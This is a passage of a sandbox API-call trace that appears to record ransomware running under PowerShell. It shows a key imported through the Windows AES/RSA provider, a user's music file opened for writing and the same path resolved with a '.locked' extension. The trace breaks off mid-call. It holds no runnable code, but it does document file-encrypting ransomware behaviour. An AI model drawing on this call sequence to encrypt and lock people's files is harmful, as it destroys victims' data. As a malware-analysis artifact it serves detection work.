[0133.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.667] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.667] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.667] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.667] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.667] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.667] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.667] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.667] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.667] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.668] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.668] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.668] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.668] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.668] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.668] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.668] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.668] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.668] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.668] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.669] SystemFunction041 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.669] SystemFunction040 (in: Memory=0x43835dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43835dc) returned 0x0 [0133.669] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.669] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.670] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.670] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.670] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.670] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.671] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396570) returned 1 [0133.671] CryptImportKey (in: hProv=0x4396570, pbData=0x6951c6c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84f78) returned 1 [0133.671] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.672] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.672] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.672] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.672] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 0x20 [0133.673] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 0x20 [0133.673] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.673] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.674] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.674] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.676] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.676] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.677] GetFileType (hFile=0x858) returned 0x1 [0133.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.677] GetFileType (hFile=0x858) returned 0x1 [0133.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.678] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.678] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.678] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.678] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", lpFilePart=0x0) returned 0x4d [0133.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.678] CreateFileW 